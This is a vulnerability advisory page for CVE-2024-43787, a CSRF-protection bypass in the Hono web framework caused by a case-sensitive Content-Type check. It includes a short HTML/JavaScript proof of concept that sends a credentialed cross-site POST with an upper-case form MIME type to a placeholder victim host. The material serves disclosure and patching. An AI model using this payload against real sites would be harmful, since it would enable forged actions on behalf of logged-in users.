Hono CSRF middleware can be bypassed using crafted Content-Type header
### Summary Hono CSRF middleware can be bypassed using crafted Content-Type header. ### Details MIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case. https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17 As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded". ### PoC ```html <html> <head> <title>CSRF Test</title> <script defer> document.addEventListener("DOMContentLoaded", () => { document.getElementById("btn").addEventListener("click", async () => { const res = await fetch("http://victim.example.com/test", { method: "POST", credentials: "include", headers: { "Content-Type": "Application/x-www-form-urlencoded", }, }); }); }); </script> </head> <body> <h1>CSRF Test</h1> <button id="btn">Click me!</button> </body> </html> ``` ### Impact Bypass csrf protection implemented with hono csrf middleware. ### Discussion I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2024-43787US | — | — | ||
Hono is a Web application framework that provides support for any JavaScript runtime. Hono CSRF middleware can be bypassed using crafted Content-Type header. MIME types are case in… | ||||
references
External citations — patches, advisories, analysis.
- https://github.com/honojs/honoPACKAGE
- https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17WEB
- https://github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449WEB
- https://github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5WEB
- https://nvd.nist.gov/vuln/detail/CVE-2024-43787ADVISORY
Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.
Free scan